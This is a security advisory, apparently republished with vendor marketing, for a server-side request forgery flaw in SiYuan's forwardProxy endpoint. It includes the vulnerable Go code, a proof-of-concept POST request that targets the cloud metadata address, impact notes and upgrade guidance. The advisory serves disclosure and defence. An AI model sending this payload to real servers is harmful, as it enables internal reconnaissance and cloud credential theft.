GHSA-56cv-c5p2-j2wg
HIGHSiYuan has a Full-Read SSRF via /api/network/forwardProxy
EPSS Exploitation Probability
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Blast Radius
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Description
Summary
The /api/network/forwardProxy endpoint allows authenticated users to make arbitrary HTTP requests from the server. The endpoint accepts a user-controlled URL and makes HTTP requests to it, returning the full response body and headers. There is no URL validation to prevent requests to internal networks, localhost, or cloud metadata services.
Affected Code
File: /kernel/api/network.go (Lines 153-317)
func forwardProxy(c *gin.Context) {
ret := gulu.Ret.NewResult()
defer c.JSON(http.StatusOK, ret)
arg, ok := util.JsonArg(c, ret)
if !ok {
return
}
destURL := arg["url"].(string)
// VULNERABILITY: Only validates URL format, not destination
if _, e := url.ParseRequestURI(destURL); nil != e {
ret.Code = -1
ret.Msg = "invalid [url]"
return
}
// ... HTTP request is made to user-controlled URL ...
resp, err := request.Send(method, destURL)
// Full response body is returned to the user
bodyData, err := io.ReadAll(resp.Body)
// ...
ret.Data = data // Contains full response body
}
PoC
- First, authenticate with your access auth code and copy the authenticated cookie.
- Now use the request below for SSRF to Access Cloud Metadata.
POST /api/network/forwardProxy HTTP/1.1
Host: <HOST>
Cookie: siyuan=<COOKIE>
Content-Length: 102
{"url":"http://169.254.169.254/metadata/v1/","method":"GET","headers":[],"payload":"","timeout":7000}'
<img width="1230" height="754" alt="Screenshot 2026-03-11 at 1 23 36 AM" src="https://github.com/user-attachments/assets/60486dba-1ccd-4287-8073-b803854756a2" />
Impact
- Internal Network Reconnaissance: Attackers can scan internal services
- Cloud Credential Theft: Potential access to cloud metadata and IAM credentials
- Data Exfiltration: Server can be used as a proxy to access internal resources
- Firewall Bypass: Requests originate from trusted internal IP
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/siyuan-note/siyuan/kernel | all versions | 3.6.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan/kernel. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/siyuan-note/siyuan/kernel to 3.6.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-56cv-c5p2-j2wg is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-56cv-c5p2-j2wg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-56cv-c5p2-j2wg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-56cv-c5p2-j2wg in your dependencies?
O3 detects GHSA-56cv-c5p2-j2wg across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.